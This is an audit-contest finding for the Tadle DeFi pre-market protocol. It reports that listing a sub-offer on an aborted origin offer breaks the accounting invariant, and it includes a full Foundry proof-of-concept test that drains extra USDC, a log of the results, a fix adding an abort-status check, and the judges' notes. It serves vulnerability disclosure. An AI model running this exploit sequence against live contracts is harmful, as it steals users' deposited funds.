Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Listing an offer while the origin offer is aborted is allowed that leads to breaking the main invariant and loss of fund

fyamf

Summary

Listing an offer while the origin offer is aborted should be disallowed, but it is not. This can lead to a critical situation that leading to breaking the main invariant of the protocol, stealing fund, and lack of balances.

Vulnerability Details

  • Alice(maker) creates a turbo ask offer to sell 1000 points for $1 with collateral rate 12000 (equivalent to 120%), and deposits $1.2.

  • Bob (taker1) places a bid order against Alice's offer and buys those 1000 points for $1. So, he deposits $1. We will have:

userTokenBalanceMap[Alice][USDC][TokenBalanceType.SalesRevenue] = $1

  • Alices aborts her offer by calling abortAskOffer. It means that Alice will not provide the promised 1000 points to Bob. We will have:

userTokenBalanceMap\[Alice]\[USDC]\[TokenBalanceType.MakerRefund] = $0.2

  • Bob lists his offer by calling listOffer to list 1000 points. By doing so, Bob is promising that he will sell 1000 points for $1 (these 1000 points are those 1000 points that were promised by Alice).

  • Since Alice's offer is aborted, Bob calls closeBidTaker. By doing so, Bob receives Alice's collateral, which is $1.2, because this is the punishment to Alice for not keeping her promise. We will have:

userTokenBalanceMap[Bob][USDC][TokenBalanceType.RemainingCash] = $1.2

  • Charlie (taker2) places a bid order against Bob's offer and buys 1000 points for $1, so he deposits $1. We will have:

userTokenBalanceMap[Bob][USDC][TokenBalanceType.SalesRevenue] = $1

  • Bob in total has $2.2 withdrawable amount as RemainingCash and SalesRevenue, while he only deposited $1 to place a bid order against Alice's offer. So, Bob could gain $1.2.

  • Now, Charlie already deposited $1 against Bob's offer, but there is no points to be provided to him. If Charlie calls closeBidTaker, we will have:

userTokenBalanceMap\[Charlie]\[USDC]\[TokenBalanceType.RemainingCash] = $1.2

  • The total withdrawable collateral amount is Alice's SalesRevenue + Alice's MakerRefund + Bob's SalesRevenue + Bob's RemainingCash + Charlie's RemainingCash = $1 + $0.2 + $1 + $1.2 + $1.2 = $4.6, while total deposited collateral amount into the protocol is Alcie's collateral + Bob's deposit + Charlies'deposit = $1.2 + $1 + $1 = $3.2

  • This breaks the main invariant of the protocol since the input and output amounts are not balanced.

What happened is:

Alice promises that she will provide 1000 points to Bob. Then Alices aborts. Bob lists an ask offer of 1000 points, i.e. he promises that he will provide 1000 points that were promised by Alice. Since, Alice has already aborted, Bob is promising over nothing. This is the root cause of this issue, the protocol should not allow listing (sub-offering) on an aborted offer. Then Bob closes his bid order against Alice's offer, and he receives Alice's collateral. Then Charlie places a bid order on Bob's offer. So far, Bob received two incomes, one from Alice's collateral, and one from Charlie's order.

Moreover, when an ask offer is aborted, its abortOfferStatus is set to AbortOfferStatus.Aborted, but if an offer is listed over this aborted offer, it changes its abortOfferStatus to AbortOfferStatus.SubOfferListed.
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L631
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L342

Please note that this report may be seemed to be similar to the finding with title Aborted ask offer returns the extra collateral to the maker that leads to breaking a main invariant of the protocol. But, the root cause of the issue and the fix are totally different.

PoC

The following test implements the above scenario completely. The output is as follows. Total deposited amount into the protocol is $3.21, where $0.1 is as platform fee.

Logs:
Alice balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Alice balance of USDC in the protocol as MakerRefund: 200000000000000000
Bob balance of USDC in the protocol as SalesRevenue: 1000000000000000000
Bob balance of USDC in the protocol as RemainingCash: 1200000000000000000
Charlie balance of USDC in the protocol as RemainingCash: 1200000000000000000
protocol USDC deposited amount: 3210000000000000000
function test_taker_steals() public {
address Alice = vm.addr(10); // maker
address Bob = vm.addr(11); // taker1
address Charlie = vm.addr(12); // taker2
​
uint protocolUSDCBalanceBefore = mockUSDCToken.balanceOf(
address(capitalPool)
);
​
////// Alice(maker) creates an ask offer
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1.2 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
vm.startPrank(Alice);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 1e18,
12000,
0,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
////////////////
​
///// Bob (taker1) creates a bid order
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, type(uint256).max);
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offer0Addr, 1000);
​
vm.stopPrank();
/////////////
​
////// Alice aborts her offer
vm.startPrank(Alice);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offer0Addr);
​
vm.stopPrank();
/////////////
​
//////// Bob lists his offer
vm.startPrank(Bob);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 1 * 1e18, 12000);
​
vm.stopPrank();
/////////////
​
//////// Bob aborts his bid order
vm.startPrank(Bob);
deliveryPlace.closeBidTaker(stock1Addr);
​
vm.stopPrank();
/////////////
​
///// Charlie (taker2) creates a bid order
vm.startPrank(Charlie);
deal(address(mockUSDCToken), Charlie, type(uint256).max);
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.createTaker(offer1Addr, 1000);
​
vm.stopPrank();
/////////////
​
//////// Charlie aborts his bid order
vm.startPrank(Charlie);
address stock2Addr = GenerateAddress.generateStockAddress(2);
deliveryPlace.closeBidTaker(stock2Addr);
​
vm.stopPrank();
/////////////
​
console.log(
"Alice balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
​
console.log(
"Alice balance of USDC in the protocol as MakerRefund: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
)
);
​
console.log(
"Bob balance of USDC in the protocol as SalesRevenue: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
)
);
console.log(
"Bob balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Bob),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
​
console.log(
"Charlie balance of USDC in the protocol as RemainingCash: ",
tokenManager.userTokenBalanceMap(
address(Charlie),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
​
uint protocolUSDCBalanceAfter = mockUSDCToken.balanceOf(
address(capitalPool)
);
​
console.log(
"protocol USDC deposited amount: ",
protocolUSDCBalanceAfter - protocolUSDCBalanceBefore
);
}

Impact

  • Breaking the main invariant of the protocol.

  • Stealing fund.

Tools Used

Recommendations

The protocol should not allow listing (sub-offering) on an aborted offer:

if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
​
//////// This is the modification
if (originOfferInfo.abortOfferStatus == AbortOfferStatus.Aborted) {
revert OriginOfferAlreadyAborted();
}
///////////
​
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L335C1-L343C10

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-lack-check-abort-relist

Leaving high severity for now but will leave open for appeals. Technically, users can choose not to transact this type offers if they are aware of such undercollaterized relisted offers, in which case it will have no impact. However, if subsequent takers transact this relisted offers, this can allow profits without having to settle any points.

Appeal created

fyamf Submitter
9 months ago
0xnevi Lead Judge
9 months ago
0xnevi Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-lack-check-abort-relist

Leaving high severity for now but will leave open for appeals. Technically, users can choose not to transact this type offers if they are aware of such undercollaterized relisted offers, in which case it will have no impact. However, if subsequent takers transact this relisted offers, this can allow profits without having to settle any points.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.